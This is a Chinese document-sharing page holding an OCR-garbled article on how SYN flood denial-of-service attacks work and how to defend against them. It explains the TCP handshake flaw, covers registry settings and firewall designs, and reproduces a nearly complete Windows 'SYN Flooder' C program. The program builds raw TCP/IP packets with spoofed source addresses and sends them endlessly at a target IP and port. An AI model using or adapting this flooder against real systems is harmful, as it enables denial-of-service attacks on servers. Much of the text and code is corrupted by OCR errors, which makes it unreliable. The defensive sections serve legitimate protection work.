SYN Flood攻击的基本原理及防御.docx

上传人:李司机 文档编号:7189412 上传时间:2024-06-29 格式:DOCX 页数:20 大小:54.65KB
返回 下载 相关 举报
SYN Flood攻击的基本原理及防御.docx_第1页
第1页 / 共20页
SYN Flood攻击的基本原理及防御.docx_第2页
第2页 / 共20页
SYN Flood攻击的基本原理及防御.docx_第3页
第3页 / 共20页
SYN Flood攻击的基本原理及防御.docx_第4页
第4页 / 共20页
SYN Flood攻击的基本原理及防御.docx_第5页
第5页 / 共20页
点击查看更多>>
资源描述

《SYN Flood攻击的基本原理及防御.docx》由会员分享,可在线阅读,更多相关《SYN Flood攻击的基本原理及防御.docx(20页珍藏版)》请在三一办公上搜索。

1、SYNF100d攻击的基本原理及防卫文章来泡:第部分SYNFkXXI的珞本朦理SYNFHXl是的坡流行的DOS(拒绝服务攻击)与DDOS分布式拒绝服务攻击)的方式之一,这是一栉利用TCP赤仪缺陷,发送大M伪造的TCP连接孱求,从而使得被攻击方资源耗尽(CPU满负荷成内存不足)的攻击方式.9白这总攻击的基本“,还是*从TCP卸Ht立的过正Ia先说IBl道,T(P与IDp不周,它是若于建畏的,也IK是置,为了在务和客户之内传送TcP敷.4先皿一仙电,Hcp,TSH的行加馆是慈祥的,Ir先.如I(客户Ii)发送T含SYN标记的TCPit文,SYNR同步(Synchronic),内步报文会指明客户运用

2、的口以及P建校的初始序号I其次步,务在收“客户的S、IR文后,将返回一个SYN+ACK的锻文,我示客户的求被接受.同时TCP序号W-.ACK(Acknov.ll8.阿国就出在TCP连接的三次握手中,议川户向It务青发送JSYN报支屈R然也机火拉峻.俄久旧务器“发出SYN+ACK应答泰文后是无法收到户篇的ACK报文的馀:次握手无法完成),这种状况卜服务雅端一般公圾试(再次发送SYN+ACK给客户竭)井等待段时间后丢弃这个未完成的连掖,这段时间的K收我们称为SYNTUnCo5.收来说这个时间是分科的酸小皴(大约为50秒分钟),个用户出现异样与JBUK务器的一个观程等恃I分仲并不是什么IH大的问信.

3、但假如有-4延息的攻击籽大At隈拟这种状况,班务器端将为维护个特别大的半江接列表而消耗特别多的济湖-数以万计的中途.即使是渝沽的保存并遍历也会消耗特别?的CPU时间和内存.何况还要不Si对这个列中的【P进行SYNMCK的呱试.力实上胃如服务器的TCP,IP栈不然很大.堆终的结梁往往是推栈溢出明酒即使服务;S湍的系统足舔强大.咽务然端也将tJ处理攻击伪造的TCP连接W求而无箕理昧客户的正常恳求(终白叁户福的正然思求比率特别之小),此时从正常客户的角度沓来,服务器失去响A.这种状况我们移作I限务器上受到了SYNFloal攻击-4*三十二位珀认号.f4+.4fT*+T4.+.4f*+.*f+6444

4、I四位IlAPRSFIIftSfI六位保宙位IRICIslSIYIIl卜六位窗口大小II长度IIGIKIHfTINlNlI+.4.+.+T+.+.4T.+.J4+.+-M.+.+.+十六位校收和I十六lit依指的I+Tf选项(若芍)数据(若有)图:TCP汴窜陪构依据TCP报文格大,我们定义个拮构TcP_HEADERM去存放TCP泞部:typedefMroctCPbdJ1.SHORliij:l6snslUSHORTikdpon;力16位目的端口UiUtgnedM(h_cq;32位序列5unsignedimth.ack;32位)认号unsignedCtKirlilenvs:M位甘前长度+6位保愤字

5、中的4位unsignedcharth.flag;/2位保用字+6位标记位1.SHORTUiwin:16位窗UA:小USHORTth.sm;16位校验和1.SHORlUiuxp;16位策念BdKwl移域)TCP_HEADER;通过以正确的数据填充这个咕构并将TcP_HEADER.thbg赋值为2(:选射的OooOa我们饯制造个SYN的TCP报文,通过大Iit发送这个报文可以实现SYNR1XXl的效果,但是为了进行IP欺妫从而JSAlcl.也为了会诲服务必的SYNCgkie枚ff还须要Itft时IP首部进行携作I012345678901234567890123456789012I板本I长度I八位服

6、务类型I十六位怠长收I十六位标识I标记I十三位片伸移II八位生存时间I八位协议I十六位首部校咬和II三十二位源IP地址II三十二位目的Ip地址I44.+f4+*.44*4*4f*4*.4f4Tv.4.+4I选项(若有)If.-*.f4*44+*4*4f*-*+T-+*4+I数据I.44.4.4-.4v.4.4.-4-.-4H-*-4-*.-4-.-.4-ra三ip首都结构同样定义一个IPH1.ADhR来存放IP行部cypcdcfMmcl_iphdr(unsignedcharh_vcrkn;/4位首滞长度4IP版本号UfKignedchark:M位服务类里TOSunsignedshorttoul

7、.lcn:/16位总长度(字节unsignedHXKtdenl;/16位标识unsignedsbo11frag-und-flags:3位标记位Uititgnedchartlk/据位生存时间TT1.unsignedcharroo:8位.ffr设号(TCPUDP或其他)unsignedslxtcevksun:16(?IPft田;校雅和unsignediMsource!P;32(iIP地址unsignedtfde%UP:7/32位H的JP地址.HEADER;然后通过JkickRaw=WSASgkUAplNET.SOCKRAW.lPPR(yi1)cksum+=4bllcr4+;size-=Sizcof

8、(USHORT):iflsizc)Cksum+=*(UCHAR*)Uffcr;VkXUm二(cksumI6*(cksum&Oxf!10;CkMJm=(cksmI6);return(USHORTKYkXumX)这个济数并没有经过任何的优化,由于校验和函数是TeFlP出取中被讽Mitt为自致之一,所以帙设来,在实现TCPyIP模时,公依据操件系统对校找和函数边行优化。TCP讨部检验和与DP首都校验和的计算方法相同.在程序中运用同一个函数来计算.须要用点的是,由于TCP首部中不包含海地址马n标地址等信且,为了保适TCP校验的花攻性,在进行TCP校检和的计算时.须要叱加个TCP伪泞部的校验机定义如下I

9、struct(unsignedInnjesaddr;德地始unsignedlangdaddr;HW的地址ch;Irmbz;“H1.空charpeel;I办议类熨unsignedshortIcpl;OTcP长度)pdjcadcr;然后我。带这两个字段复制到同一个援冲区SendBuf中并计算TCP校验和:nnyScikiBuf.&PSjlC3改,NZoORPS1.hCaden);mcmq)yiSendBuf*xizcoRp!,&lcp_he;iderizcof(tcp_hcinicr)KICPjICadC1.IhJUin:CbCCkMIMUSHORT*FScndBufszcofpsd_hc3der

10、)*sizcofticp-he3der):ilffIP校!和的时帙不须要包括TCP伪首部:mcmcpySendBuf.&iPJKiMkr,4ZCOniP-header):ne11cy(SelIdBUHizeoRip_he3der)&lcp_header.、iza”(lq)_hedd;ip_hCadCrebCCkWm=CbCCksUmUUSHORT*)SendBuf,sizcof(ip-bcodcr)sizcof(tcp-bcadcr)k再将计算过校验和的IP苜部与TCP首部复制到同一个暧冲区中就可以干腌发送r:mcnpyiSendBuftAip_hcadCT,sizf(ip_hcudcr;Md

11、kKSckRaw:xlBufk3lMddrjzeuf(DcMAddr):闪为整个TCP报文中的全前部分祐是我们自己写入的(操作系统不会妣任何干涉),所以我们可以在IP汴部中故?I的机的滋IP地址,恨如伪造的源IP地址的坨有人运用,他在接收到根分SS的SYN+ACK报文府会发送个RST报文(标记位为OO(X)Ol00).通如收务潜指不免要等待个无效的理接,可是假如这个伪造IP井汉“冲沱/1:住何的主机匕小IMHr忖设备去通知主机该连接触无效的(这正是TCP协议的WWV,在机将不断皿试H到SYN11EeHit时向后才能丢弁这个无效的T连接.所以为攻击者运用主机分布很稀疏的IP地址段进行伪装IP的S

12、YNFlood攻J;时,服务得主机承受的负荷公相当的高,依据测试.台Plll55OMHz*l28MBH00Mb的机运用经过初步优化的SYNFloodw印序可以以16.0(包/秒的速度发送TCPSYN报文.这样的攻击力己经足以拖垮人部分WEB职务;K/.略微动动依舫我们就会发觉,想对SYNF100dCr程序进行优化是很冏洁的,从程序构架束Yb攻击时循环内的代码I:要是进行校S和计尊号屐冲仅的埴充.般的思路是极高校防和计算的速5我苴至见过川Ir筑代旧铜马的校验和函数.卡实上.存另外一个变通的方法可以轻桧实现优化而又不须要高深的编程技巧和教学学问,(的耳说吧,我数学比较整:P),我们奴探讨了两个不同

13、派地址的TCPSYN报文后发觉,两个报文的大窸分字段相同比如目的地址,协议衿等),只有海地址和校!和不同(假如为了命藏.源惴口也可以行改攵,但足并不影响我打口法优化的思路).假如我们M先计口好大城的源地校验和的对应关系农(假如耳他的字段行演变也可以加入这个去).等计R完毕/攻击程序糠只须要小纯的组合理冲区并发送500或占总连接数的10%以上),可以认定.这个系统(或主机)追到了SYNFlcxxi攻击.遭到SYNFlood攻击E.首先要锹的是取证.通过NaSlaI-n-ptcpXeaUh.R记录目前全部TCP连接状毒足必Q的.做加夕嗔探58.或%T卬DUmP之类的工具.记求TCPSYN报文的企前

14、细微环IY也右助T以后连任和防I1.很妥记录的字段有:源地址、IP首都中的标识、TCP昔IIC中的扉列号、TT1.攻等,这些信息虽燃很可能是攻击者伪造的,但是用来分析攻击?!的心理犹密和攻击程序也不无彷助,特殊是TT1.值.假如大It的攻击包好像来自不同的IP但是TT1.值如树同.我的往往能推断出攻击者与我们之间的路lSHi.至少也可以通过过滤待定rn.值的投文降低被攻击系统的负荷(在:这种状况下til位5攻击报文不同的用户就可以复原正常访问)前面色经提到可以通过瑞如SYNTimeout时间和设皆SYNCookie来进行SYN或ib及护.对于WinKX)O系统.汪可以H过修改注册衣降低SYNF

15、kIOd的危A.在:注璐表中作如下改动:n.打开rcgiit.找到HKEY_1.oCA1._MACHlNES、ZcmCuiwntContmlScCScrViCCSVRPiPParamcicc增加一个SynAU3dd11hxl的键依类里为REG_DVORD.取值器用足(2.这个的确定/系统受到SYN攻击时玄行的爱护措施,包括削减系统SYN-ACK的求试的次SC等,欺认仅是0没有任何爱护措施,举荐设况是2增加一个TCPMaxH;IHOPen的设值.类型为REt1.DWORD.取Ui范根此IaMhIH.这个位处系统允许同时打开的华旌接,默认状况下WlN2KPRO和SERVER是100,ADVANCE

16、DSERVER5.这个值很晚螳定,取决于服务!ftTCP负荷的状况和可能受到的攻击理吱,详细的21须要经过试发才能确定。增加一个TwMinHaIw)2RMed的说(fi.类里为REG_DWORD.取位范所此MMJXFFtF.UiA状况下WIN2KPRO和SERVER是80.ADVANCEDSERVER足400,这个位确定在什么状况下系统会打开SYN攻击爱护,我们来分析*Win2000的SYN攻击爱护机犯正常状况卜Win2K时TCP连接的.次畀手仃一个常现的设置,包括SYNTimeUt时间.SYN-ACK的,H试次数和SYN报文从路由器到系统用到Winsock的5时等.这个常规设置是计对系统性僮

17、进行优化的(平安和性傥往往相互冲突)所以可以蛤用户供应使利快捷的服务;力服务器受到攻击,SYN节连接的数砧超过TCPMaMHtoPCnReEN的设?1.系统会认为自己受到了SYNFl(XE攻击.此时设州在SynAuaCkPro”过仪中的选题起先作用,SYNTimcoui时间被Ntfl.SYN-AeK的小试次数削N.系统也会自动时缓冲囚中的报文进行Ji时.诩开对TCPnP堆极金成过大的冲击.力图将攻击危告MfjH饪:假如攻击强度不厮场大.超过/TcpMaxHaHOpen(fi.此时系统已经不便供应正箔的服务了,见;fi要的是保证系统不会崩溃,所以系统将会丢弃任何超出TCPMa1.XHAItDpe

18、值甩用的SYN报文(应当班运用例机丢包流略),保该系统的自定性.对于须要进行SYN攻击爰护的系修,我们可以测改预料卜访问峰值时期的*连接打开量.以其作为替考设定TCPMaAHaHOpcnREi”的债(保留忖定的余业).然后再以TcPMaXHaItOPenREiCd的1.25倍作为TCpMaXHUlfloPCT力,速样可以以大限度地发挥WIN2K(为的SYN攻击爱护机制.通过设置注刑衣防把SYNFhHXl攻击.栗纳的足一挨打一的策略.无论系统加何强人.始缘不能光承挨打支挂下去,除了挨打之外,退让也是一种I匕较a效的方法.退让饭叨足基于SYNFklOd攻击代码的个统解,我们用新来分析下SYNFkl

19、od攻击存的充种ISYNFkKXl中仃两种攻击方式,基于IP的和些F域名的前者林攻击者门已进行域名解析并将IPl传连蛤攻击程田,后者是攻击程序自动透行域化杆折,但是它IfJ芍一点是相同的,就是一旦攻击起先,格不会再避行域名解析,我力的切入点正是这阻:假改由服务器在受到SYNFIgd攻击后快速更换自己的IP地JM那么攻击者仍在不断攻击的只是个空的IP地址,并没有任何主机.而防卫方只卷格DNS斛析更改到新的IP地址就能在假如的时间内(取决于DNS的剧领时间JlKUU户通过域名进行的正常访同.为了迷出攻击者,我们探至可以放置台“然牲乘务器让攻击者油就于攻击的“效KF由于DNS缓冲的燎由.只要攻击者的

20、阅it器不收起,他访何俯仍旧是原先的IP地址,同样的缘由.在众多的仍领均衢架构中.延DNS解析的领我均衡木。就蝴(jXSYNHIH务器I)I:图所示.客户机卬H务器之向并没仃真正的TCP连接.客户机与机务制之间的全拓数粼久换都处通过防火墙代理的,外部的DNS解析也同样指向防火煨,所以出如网站被攻击Kii正受到攻击的是防火墙,这种防火堆的优点是已定性好,抗打击实力强,但是因为全部的TCP报文都须要处过防火墙转发.所以效率比较低由卜客户机并不干腌与服务拓建立连接,在TCP连楂没有完成时防火技不会去向后台的服务器也立新的TCP连接.所以攻击者无法聘过防火墙干施攻击后台服务器.只瞿防火埸本身做的足解强

21、壮,这种架构可以反抗相当强慢的SYN11l攻击,但是由于防火堵实际建,的TCP正接效为用户连推数的两倍(防火墙两端都须要建立TCP连接.同时又代理全AJ的来门客户瑞的TCP总求和数据化送.在京统动向端较大时,防火埴自身的依荷会比较痛,所以这种架构并不能遭用十大型网站.(我爆觉.对这样的防火墙架构.运用TeP-STATE攻击的计仑相当1效:)工作在IP层或【P房之下的防火墙(路由51防火烧)工力俅理盯所不同.它与服务需,客户机的关冢如下图所示,I防火堵I数据包假以转发客户1=三三三三三三三三i三三三三三三三三三三三三三=三=HITcP连接卷户机干花与服务器进行TCP连接,防火Jfi起的是部由器的

22、作用,它极米全部通过的包井进行过池,通过过池的包被转发给服分擀,外部的DNS解析也Iaini向服器,这种防火墙的优点见效率高,可以适应100Mbg-IGbPS的流届.似是这种劭火埃代加配置不当,不仅可以让攻击者糖过防火墙魇攻击内部服务器接更有可饯放大攻击的强度,导致整个系统喇温.在这两种基本模型之外,芍一种新的防火堆模型,我个人认为还是比较奇妙的,它咏中了两种防火墙的优势,这种防火墙的工作原理加下所小第一阶段,客户机Ii求与防火WiU!寸江接:SYNSYN+ACKACK【客户机卜-X防火塔I=防火Jal客户机I=客户机)【防火墙I其次阶段,防火墙伪装或客户机与后行的服务器建立在接防火墙)=服务

23、器ITCPiia第渝段,之后全部从客户机来的TCP报女防火墙都Hxi技发的后价的故务器防火墙转发I客户机K=三=股务器TCP连接这种结构吸取了上两种防火墙的优点,原能完全限制全部的SYN报文,又不须要对全部的TCP数卷报文进行代理,电一种两全其父的方法.近来W外和IU内的一些防火墙厂商起先探讳带宽限制技术,假如能真峪限制、安排俗室.*能很大程度上防Il绝大多数的拒绝眩务攻击,我们还是找H以待吧,w.:Win20卜的SYNFlgd程序Sfl1.iim卜Zakai埼”的SYNAaxlcr编译环境:VCl6仇纲评时为要包含w,2_32Jib弁SYNFloodcrForWin2KbySluxgunft

24、UTHISPROGRAMISMODIFIEDFROMA1.INUXVERSIONBYZakathHTHANX1.iOflHookPORPROGRAMOPTIMIZATIONRclecl:(2X)1.4Author:Shogun)Homepage:IlT.Xici.Nc,WWWPatchingNclIincludewinsCllKIe/include.h#UlCliKk*defineSEQOx28376839*fcncSYN_DESTJP,l92.16S.15.254)WijftIP*deneFAKEJP*10.168J50.1-伪装IP的起始曲.木科序的伪MIPftIffi个B类网段*dc11

25、cSTTS-FH.FD(hHTI:福映返同做IyPCdCfMmcl_iphclrr定义IP首解Iunsignedcharh_Ycrlen;涧位付部氏度,4位IP版本2usigdCharIg/78位叔务类型ToSun%igrdshorttoaljcn;川6位总长懂字节)unsigM(lshodidem:16位标识unsignedshortfnig_anci_flag5;/3位标id位UnSiWMdCharH:8位生存时间Tr1.unsignedClwrproto;/郊位协议(TCRUDP或其他)unsigdsoCbCCkMm./16位IP6部校Sft和unsignedintMwrveIP;32位

26、泡IP地址cycdefMmciJCPbdf(USHoRT1.I;USHORTth.dport;unsignedincth_scq;unsigfdi11tthjck;unsignedchar(h_lcnrc*:unsignedcharlh_flag;USHORTh_wm;USHORTunsigdImdcMlP;32位U的IP地址JIPHEADER:MnH定义TCP伪首都(unsignedl)CkMlm+=*bffcr:乂然-=SizeoftUSHOR11;ifTxirc)(cksum=t(UCHAR*)txiffcr:cksun三16)(cksum&OxfIYfi;CkMIrn*=(CkAUnl

27、16);vturn(USHORT-ksum);)SynFlefui=2eak:TCP.HEADERICPJKa改匚/MtfiftSOCK-RAWif(EnoOxJc=WSASanupMAKEWORDl2.l),&wsaDu)!=0)|fprintf(stdcrWSAStartupfaili:%f,rnrCodc);Exiipnxxjss(STATUSeFAI1.ED):ISockRaw=WSASock(AF_lNET5OCK_RAW.|ppROTO_RAW.NU1.1.0.WSA_F1.AG_OVER1.APPED):ifSckRaw=INVA1D_S0CKKnifiMf(sdcWSASock

28、ct()failed:cJvd,nWSAGet1.asiEnvit:ExilP11xxsSTATUS.FAIIJD);IOajj=TRUE;设JffIP-HDRlNC1.以自己培充IP西部xxic=5rtwkojM(SkRaw.lPPROTO.IPJP.HDRINCUchar*11as.5izcnHinn*);-iry设置发送超时ErmreDde:MMMXrk甲NSccWUWsO1._SoCKET.SO_$NDTIMEoTin*为1阂3*ImdOUI”;iftE(rorCodc=SOCKET_ERROR)|rinlf%kkr.,bailedIC耀lsedTmiNKH:Rkhn=WSAGn1.a

29、MEnud):_JeaVU)memsct(:DesiAddr.OsizcofJcl=inet_WrtI:AKEJPj;FakelHos(-Hol)lFakcIpNei);“填充IP百那ijakr.h-vcrlen=44sizcofrsizcoftunsigdlong):高Pl位IP版本,3低四位苜部长度ip_bca加UOu1.IenSnMSiZCofaP_HEADER)rizcof(TCP_HEADER止/16位总K收字节)ip_bc;idcr.iifcnt=k16位标Mipjadcr.frag-,and.flagsiX);“3位标记位ip_bc;idcr.Ul=l28;H位生存时间T11.i

30、pjcak(.vto=IPPROTO.TCP./(位协议(TCP.UDP)ip_bc;idcr.ch(xksu!n=O;g位IP首部校的利心2位激IP地址iJak(.sourcclP-honhFakclHsiScndSEQ;ip_Kiidcr.deNllP=inK_aAJfXSYN_DEST_IP;填充TCP出部lcp-header.th-.%pwl=htnMTXKM);(c-hcadcr.th-dor-hans(84J80);lcp_hc;ider.th_%cq=hknlSEQScixlSIiQI;icp_hcadcr.th_ack=O;tcphc11der4hJcnrc5=(sizco11

31、TCPJHEADER)440);tcp.hcadcr.tvag=2lcp_he;idcr.th_win=htons(I63S4);tcp_hcadcr.ih_utp=O;“32位目的IP地址/礴潴口号目的端口号/,SYN序列号/ACK序列号为0“TCP长度和保留位/SYN标记窗口大小*偏移tcp_hcadcr.th_5um=0;般脸和“坨充TCP的首器(川广计嫌校依和.并不我正发送)“目的地址pvl_hK!cr.Mxklr=ip_hdcr.MXirveIP:psd_hodcr.daddr=ip_hPU1.hNpicMPPROTOJCP:出议类举11CP泞部长度WhiIc(I)(每发送10.24

32、0个报文怆出个标示符for(cxnter=OounterdSEQ=65536)ScndSEQ=I:序列号热环/SIAlPfiffflip_hCadchecksum=0:/16fitIP西部校验和ip_hcnder.MwrvclP=hto.bca(ScndBuf&psd_hcadccsizcof(psd_hcAdcD);mcmcpjiScndBuf4xiznpd_he;ulcr).&U:p_hc;iderizcof(tcp_bciidcr)kicpc。改UhJunAehCekSwnUUSHoRTtScndBufjtzcof(pul_hcadcr)*sizcoftiq_leader);计JnP校验

33、和ncn,(ScndBufiJeder.MZ4Xftip.hcadcr):mcmcplScndBuf4sizcnip_hcjK!cr).;incms(SendBufsizooftip_hc3der*sizcoftcp_header).0.4);bta5izc=xizcof(ip.hc(lcr)xizcoRtq)-hcjlcr);i.hc3dcr.chccksum=clckum(:填充发送缓冲区incnKp)(ScndBuf.&ip_hc3def.sizcoftip_hcadcr);他送TCP报文ErrxCxJc=scndto(SkRaw.SendBuf.dausizc.O.(structSocknddr*)ADcMAddr.HtzeoflDeaAddr;ifqEmHCodc=SOCKET-ERRORJPriMfC11ScxJError%dn*,Gct1.astEor();WEmloftwWEndOfWhilcWEndHlry-finally(if(SockRaw=INVA1.lD_SoCKEnd。箱VKkCt(SnCkRilW);WSACIeanupi):rturnO;

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 生活休闲 > 在线阅读


备案号:宁ICP备20000045号-2

经营许可证:宁B2-20210002

宁公网安备 64010402000987号